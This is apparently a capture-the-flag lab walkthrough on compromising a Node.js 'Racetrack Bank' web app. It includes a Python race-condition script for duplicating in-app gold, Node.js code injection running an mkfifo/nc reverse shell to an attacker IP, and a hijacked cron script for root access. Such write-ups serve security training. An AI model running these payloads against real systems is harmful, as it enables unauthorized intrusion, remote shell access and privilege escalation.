Complex Attack Types: Sample Scenarios 43

4 months ago 52
BOOK THIS SPACE FOR AD
ARTICLE AD

Baris Dincer

A new article and a new challenge. This time, we will attempt to infiltrate the other machine by using the system code infrastructure and vulnerabilities on the web. You will see that the programming language used must comply with security principles, otherwise it may cause vulnerabilities.

You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.

Prepare your keyboard for this battle, cyberpunks!

For the first stage, let’s write down what you need to do here, step by step.

First, save the values ​​and IPs you will use most on the shell.Then register the target machine on local DNS using the /etc/hosts file.

These processes increase your performance and speed. It prevents confusion.

output
output

Just ping to check.

output

You’re ready to move on to the next stage.

At this stage, we will enumerate the system in front of us, define the network and machine, and explore. First, let’s get to know the machine we are in front of and find out the open ports by using the nmap tool: nmap -sV -sC -oN nmap_result.txt -T4 -A --script=vuln -Pn -sS $target_ip

-sV: Version Detection

This option attempts to determine the version of the services running on open ports.

-sC: Script Scan using Default Scripts

Runs a collection of Nmap scripts that are considered safe and useful for reconnaissance.

-oN nmap_result.txt: Output in Normal Format

Saves the output of the scan in a file named nmap_result.txt in a readable format.

-T4: Timing Template

Sets the timing template to 4, which is faster than the default (3) but may be more intrusive and detectable.

-A: Aggressive Scan Options

Enables OS detection, version detection, script scanning, and traceroute.

--script=vuln: Vulnerability Scripts

Runs a set of scripts to check for known vulnerabilities on the target.

-Pn: Treat All Hosts as Online

Skips the host discovery phase and treats all specified hosts as online, which is useful if the target is blocking ping requests.

-sS: Stealth Scan (SYN Scan)

Performs a TCP SYN scan, which is less likely to be detected by the target’s logging mechanisms compared to a full TCP connect scan.

$target_ip: Target IP Address

This should be replaced with the actual IP address of the target you want to scan.

You should be patient and wait for the output of this command.

output
output

As you can see, you have obtained open ports, version information and other advisory CVE notes. You should examine these thoroughly in a real scenario and take notes. You never know where the profit will come from.

22 SSH OpenSSH 7.6p180 HTTP Nginx 1.14.0

We don’t have many open ports, but on the other hand, there are nice details.

The nmap scan results indicate that the http-csrf script has identified possible Cross-Site Request Forgery (CSRF) vulnerabilities on the target site.

http-csrf:

CSRF (Cross-Site Request Forgery) vulnerabilities are possible on the following paths:Path: http://ourtargetsite.thm:80/create.htmlForm id: unameForm action: /api/createPath: http://ourtargetsite.thm:80/login.htmlForm id: unameForm action: /api/login

http-enum:

This script attempts to enumerate directories and files on the web server./login.html: The script found a possible admin folder at /login.html.

Cross-Site Request Forgery (CSRF) is a type of web security vulnerability that allows an attacker to trick a user into performing actions on a web application in which they are authenticated, without their consent. This can lead to unauthorized actions being carried out on behalf of the user, such as changing account settings, making purchases, or transferring funds.

Make a note of these. On the other hand, you can also scan for vulnerabilities via version information.

output

For the SSH port, you can try the approaches you find here. In this scenario, we will be goal-oriented and focus on other stages.

Now we can take a look at the applications and the site running over HTTP.

output

It has a structure where we can create an account and log in. Don’t hesitate to use the functions on the browser. You should always note details such as developer tools and other certification information.

output
output

There isn’t much detail. Now let’s take a look at the developer tools and examine the page source.

output

This way you can find development notes and other additional evidence in some scenarios.

We need to check if there is a Session ID or cookie defined for us.

output

Yes, we have.

connect.sid:s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4

This may be necessary for our attack surface. Detail is here:

output

Now we can take a look at the “network” section. Pay attention to the header information here.

output

We have:

GET / HTTP/1.1
Host: ourtargetsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: connect.sid=s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4
Upgrade-Insecure-Requests: 1

The defined connection credential is used here.

Finally, let’s note the information given to us by the extension we installed on the browser.

output

Here we discovered that Node.js is used in the infrastructure. And Express framework is used.

Express is a web application framework for Node.js, released as free and open-source software under the MIT License. It is designed for building web applications and APIs.

Record all these findings one by one.

We need to find out what other pages there are. For this, we need to organize a directory reconnaissance attack. We will use gobuster tool for it: gobuster dir -w $wordlist_add_dir -u http://ourtargetsite.thm -e -d --random-agent -x txt,php,js,html,sh

This command can bring us endpoints, pages and other additional files within the site.

Here are the pages we have and the points we will check:

output/create.html (Status: 200)
/home.html (Status: 302)
/Home.html (Status: 302)
/images (Status: 301)
/Images (Status: 301)
/index.html (Status: 200)
/Index.html (Status: 200)
/index.html (Status: 200)
/login.html (Status: 200)
/Login.html (Status: 200)
/purchase.html (Status: 302)

Especially the /purchase.html page caught our attention… We will analyze these in the next stage.

Let’s look at the login section.

output

A brute force can be tried here, but we must obtain information about the users, otherwise the process will take too long.

We can look at the account creation section, having an account at hand at all times allows you to learn the inner workings of the system. Just be sure to remain anonymous while doing this.

output

Let’s create an account.

Username: JohnDoe
Password: JohnDoe

Of course, you can choose your own login credential.

output
output

We have an account. A message greets us as follows.

Welcome to Racetrack Bank! To get you started, we have given you 1 gold (how generous of us!). Spend it wisely.

So, there is a structure where we can buy and send gold. Or something like that…

Examine the page source.

output

We discovered another page: /premiumfeatures.html

Browse around the site a little more.

output

We can purchase a premium account for 10000 gold. We can explore the function here.

Check out the page source here.

output

We may have discovered the API that was invoked while performing this operation: /api/buypremium

Take a look at the defined cookie information again.

output

The same value is defined again: connect.sid:s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4

We can look at our other section.

output

There is a structure here that allows us to send gold to another user. Examine the page source.

output

We got another API: /api/givegold

Let’s move on to the next section where we will analyze the functions here in detail.

Let’s take a quick look at the/premiumfeatures.htmlpage we discovered.

output

We don’t have access here.

Now, let’s open an incognito tab on the browser, create another account and discover how to send gold.

Username: HelloWorld
Password: HelloWorld
output

We now have two separate accounts. Also save the cookie information defined in this account.

connect.sid:s%3AAuEqge0WLwEeSTNuRRusZ-7JZR-TokaZ.9pN0CQY%2BzjvHVNq0XFNBVOFPI4zRMrcbLp1RDfwIFrE
output

Now let’s send some gold here from our first account. While doing this, the “network” section on the browser can be open, so you can take a look at the working principle of the API.

output
output

The operation is successful.

output

There is no gold left in this account. Let’s check the other account.

output

Yes, we got 2 gold coins here.

We must examine these functional structures in detail through Burp.

output

Let’s try to send gold again, but this time let’s do this by intercept the traffic.

output

You’ve seen the input parameters.

POST /api/givegold HTTP/1.1
Host: ourtargetsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://ourtargetsite.thm
Connection: close
Referer: http://ourtargetsite.thm/giving.html
Cookie: connect.sid=s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4
Upgrade-Insecure-Requests: 1

user=HelloWorld&amount=1

Keep forwarding.

output

Error message is returned within the URL. We receive an error message because there is no gold in the account.

/giving.html?error=You%20do%20not%20have%20enough%20gold

Check other pages in the same way.

output

The header scheme seems to be the same.

output

Let’s do the login process again and save the information.

output

We have:

POST /api/login HTTP/1.1
Host: ourtargetsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://ourtargetsite.thm
Connection: close
Referer: http://ourtargetsite.thm/login.html
Cookie: connect.sid=s%3AvWG-3wVN0AMetZUNVB4WMme5lE8PeU8M.KVvCpeFT6FDK3jD6cUuOBXYtShsRGfZ%2FqP8GPzTJpn4
Upgrade-Insecure-Requests: 1

username=JohnDoe&password=JohnDoe

Now let’s look at the Response Header information.

output

We have:

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 15 Jul 2024 09:41:28 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
Cache-Control: no-store
Content-Length: 3573

This is what got interesting. We can think about this a bit. What does this information mean?

HTTP/1.1 200 OK: This is the status line. It indicates that the request was successful, and the server is returning the requested resource.Server: nginx/1.14.0 (Ubuntu): This header provides information about the server software handling the request. In this case, it is nginx version 1.14.0 running on Ubuntu.Date: Mon, 15 Jul 2024 09:41:28 GMT: The date and time at which the response was generated by the server.Content-Type: text/html; charset=utf-8: Indicates the media type of the resource and the character encoding. Here, it’s HTML with UTF-8 encoding.Connection: close: This header indicates that the server will close the TCP connection after delivering the response.X-Powered-By: Express: Indicates that the backend framework used is Express, a web application framework for Node.js.Cache-Control: no-store: Instructs the browser not to store a cached copy of the response.Content-Length: 3573: The size of the response body in bytes.

Although not visible in this response header, a common CSRF protection mechanism involves including a CSRF token in forms and verifying it server-side. As you can see, there is no such protection.

That’s not a lot of evidence, though.

We may need to take a look at the tips in our lab environment. For example organization name: RaceTrack Bank

When Express and Node.js are mentioned together, you may think of mechanisms that can respond to multiple requests at the same time. When you do a little more research, you may come across the following expression: Race Condition

A race condition occurs when the behavior of a software system depends on the relative timing of events such as the sequence of execution of multiple threads or processes. This timing-dependent nature can lead to unpredictable and erroneous outcomes if not properly managed. Race conditions are common in concurrent or parallel computing environments where multiple threads or processes access shared resources without proper synchronization.

Incrementing a Shared Counter:

Two threads attempt to increment a shared counter simultaneously. Without proper synchronization, both threads read the same initial value, increment it, and write it back, leading to an incorrect final value.

File Access:

Two processes attempt to read and write to the same file. If one process reads the file while another is writing, the read process might get inconsistent or incomplete data.

User Authentication:

In web applications, a race condition can occur if multiple authentication attempts are processed simultaneously, potentially leading to unauthorized access.

In other words, a security weakness that may occur here may fail when processing multiple requests we send to the system and we can transfer the values ​​we want to the other party. Let’s explain this with code for Python lovers:

# Pseudo-code example
account_balance = 100

def withdraw(amount):
global account_balance
if account_balance >= amount:
account_balance -= amount

# Two threads executing the withdraw function concurrently
thread1 = Thread(target=withdraw, args=(50,))
thread2 = Thread(target=withdraw, args=(50,))

thread1.start()
thread2.start()
thread1.join()
thread2.join()

print(account_balance) # Expected: 0, but could be 50 due to race condition

Now let’s apply this theory to the system we target and see if it works. We can use the values ​​we noted below when performing this attack.

Our API: api/givegold
Method: POST
Content Type: Content-Type: application/x-www-form-urlencoded
Our Connection SID: connect.sid=s%3AMDrOypeAJDukI0NErCH39Cleytt_DCK5.hYXqExg7%2Bspks%2BYOMFWAebpb99qqYNgauwiW3akDYLY
Main Account Name: JohnDoe
Other Account Name: HelloWorld

There are many tools that can transmit multiple requests to the other party at the same time and weaken the structure. We will prefer to use the ffuf tool first. Don’t forget. We will transfer gold from HelloWorld user to JohnDoe.

But before using this tool, we need to create a wordlist with “1" number in each line. In this way, we will continuously send 1 gold from one account to another.

Now let’s create this wordlist. You can create it with any of the commands below.

seq 1 1000 | awk '{print 1}' > wordlist_exp_1.txt
for i in {1..1000}; do echo 1; done > wordlist_exp_2.txt
output
output

Now we can write the ffuf command: ffuf -c -u http://10.10.179.7/api/givegold -X POST -w wordlist_exp_1.txt -H “Content-Type: application/x-www-form-urlencoded” -b “connect.sid=s%3AMDrOypeAJDukI0NErCH39Cleytt_DCK5.hYXqExg7%2Bspks%2BYOMFWAebpb99qqYNgauwiW3akDYLY” -d “user=JohnDoe&amount=FUZZ” -v

output

It looks like it was sent. Let’s show another example of this. This time we will use the wfuzz tool: wfuzz -c -w wordlist_exp_1.txt -u http://10.10.179.7/api/givegold -H “Content-Type: application/x-www-form-urlencoded” -b “connect.sid=s%3AMDrOypeAJDukI0NErCH39Cleytt_DCK5.hYXqExg7%2Bspks%2BYOMFWAebpb99qqYNgauwiW3akDYLY” -d “user=JohnDoe&amount=FUZZ”

output

Check JohnDoe account:

output

Yes, the vulnerability is valid. We currently have 10 gold coins. Here you can try again by increasing the length of the wordlist. Remember, your goal is to make 10000 gold.

You can use these users and defined values ​​interchangeably.

output

We have a problem here. It is very difficult to reach the 10000 gold we want without increasing the wordlist considerably. We may need to transmit several queries simultaneously via the Connection SID. You should use your coding abilities here.

import grequests
import requests
from bs4 import BeautifulSoup

ip_address = "10.10.179.7"

user_main = "JohnDoe"
pass_main = "JohnDoe"
user_add = "HelloWorld"
pass_add = "HelloWorld"

def user_gold_and_cookie(username, password):
payload = {
'username': username,
'password': password
}
with requests.Session() as session:
response = session.post(f'http://{ip_address}/api/login', data=payload)
soup = BeautifulSoup(response.text, "html.parser")
gold_amount = 0
for tag in soup.find_all('a'):
if "Gold:" in tag.text:
gold_amount = int(tag.text.split(":", 1)[1].strip())
print(f"Current Gold Amount for User {username}: {gold_amount}")
cookie_dict = session.cookies.get_dict()
return cookie_dict['connect.sid'], gold_amount

def send_gold(user, cookie, amount):
print(f"Sending {amount} gold to user {user}")
url = f'http://{ip_address}/api/givegold'
headers = {
"Host": ip_address,
"Referer": f'http://{ip_address}/giving.html',
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close",
"Cookie": f"connect.sid={cookie}",
"Upgrade-Insecure-Requests": "1"
}
cookies = {
"connect.sid": cookie
}
data = f"user={user}&amount={amount}"
rs = (grequests.post(url, data=data, cookies=cookies, headers=headers) for _ in range(100))
responses = grequests.map(rs)
print(f"{amount} gold has been sent to user {user}!")

def main():
gold_needed = 0
counter = 1
while gold_needed < 10000:
if counter % 2 == 0:
print(f"{user_main}'s turn to send gold...")
cookie, gold_needed = user_gold_and_cookie(user_main, pass_main)
send_gold(user_add, cookie, gold_needed)
else:
print(f"{user_add}'s turn to send gold...")
cookie, gold_needed = user_gold_and_cookie(user_add, pass_add)
send_gold(user_main, cookie, gold_needed)
counter += 1

if __name__ == "__main__":
main()

This script is designed to automate the process of logging into a web application, retrieving the amount of gold a user has, and sending that gold to another user in a repetitive manner.

output

Run it.

output

Let’s check the account.

output

We are rich now…

Now let’s go and get the premium account.

output

Another tab opened. Let’s take a look here.

output

We have a calculator in front of us…

We have an input panel again. Let’s examine the page.

output

The structure is NodeJS, we can send some queries towards it. You can use this source if you need: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/nodejs-express

Let’s call a simple function.

Try:

process.cwd()
output

Wow! We got that.

output

You can try these through Burp rather than through the browser.

output

Now let’s try to get a reverse connection. We can try to send the following command to the other server using NodeJS.

require("child_process").exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.2.103 11444 >/tmp/f')

Before sending this, put your machine in listening mode on the port you specified: nc -nlvp 11444

output

Let’s send it.

output
output

We got the connection! Perfect!

Stabilize the shell if you need: python -c ‘import pty; pty.spawn(“/bin/sh”)’

output

Always explore the system in front of you.

output

We received potential account names.

output

Nothing…

output

Let’s move on to the privilege escalation process and see how we can do it. Let’s take a look at Crontab.

Crontab is a command-line utility in Unix-like operating systems (such as Linux) that allows users to schedule tasks (commands or scripts) to run periodically at fixed times, dates, or intervals. These scheduled tasks are known as cron jobs. The term “crontab” itself stands for “cron table,” where “cron” refers to the daemon that executes scheduled commands.

output

We need to look around a little more.

output

We found an interesting script in the directory: cleanupscript.sh

Let’s examine this.

output

There is a code that deletes a defined file.

So what is the authority of this file?

output

Maybe we can do a few experiments on this.

Before moving on, let’s look at the permissions of the root user: find / -perm -4000 -user root -type f 2> /dev/null

output

We found that for our user: /home/brian/admin/manageaccounts

output

An executable structure…

Let’s go back to the main mechanism and try to manipulate the cleanupscript.sh file and get another shell. We will replace the contents of this file with the following code.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.2.103 11234 >/tmp/f

Before doing this, put your machine into listening mode on the port you specified: nc -nlvp 11234

output

Change file content.

output

Or just echo it:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.2.103 11234 >/tmp/f' > cleanupscript.sh
output

Permission denied…

Okay, just remove it and create again.

output

Then grant an executable permission with chmod and run it.

output
output

We got that!

Let’s show another method. You can directly access the file you want by changing the file content.

Use it:

echo 'cat /root/root.txt > /home/brian/root_flag.txt' > cleanupscript.sh

Don’t give up on hacking.

Code for good.

^-^

Read Entire Article